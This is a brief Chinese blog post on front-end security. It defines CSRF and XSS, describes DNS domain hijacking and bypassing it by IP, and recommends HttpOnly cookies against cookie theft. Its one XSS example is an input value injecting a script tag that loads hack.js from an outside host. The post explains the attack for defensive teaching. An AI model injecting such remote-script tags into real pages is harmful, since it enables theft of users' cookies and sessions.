前端安全

最新更新时间：2018年11月7日11:30:48

《猛戳-查看我的博客地图-总有你意想不到的惊喜》

概述

CSRF，Cross-Site Request Forgery，跨站点请求伪造
XSS，Cross-Site Scripting，跨站点脚本

域名劫持

域名劫持，Domain name hijacking，是互联网攻击的一种方式，通过攻击域名解析服务器（DNS），或伪造域名解析服务器（DNS）的方法，把目标网站域名解析到错误的地址从而实现用户无法访问目标网站的目的。
如果知道该域名的真实IP地址，则可以直接用此IP代替域名后进行访问。比如访问谷歌 ，可以把访问改为http://216.239.53.99/ ，从而绕开域名劫持。
域名劫持只能在特定的网络范围内进行

XSS

产生原因：过于信任客户端提交的数据，如下，黑客可能会提交javascript代码

<input value = "get info <script type = 'text/javascript' src = 'http://www.wanshaobo.com/hack.js'></script>" />

• 放置客户端盗取用户cookie的方案

将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.

参考

• JavaScript防http劫持与XSS

感谢阅读，欢迎评论^-^

打赏我吧^-^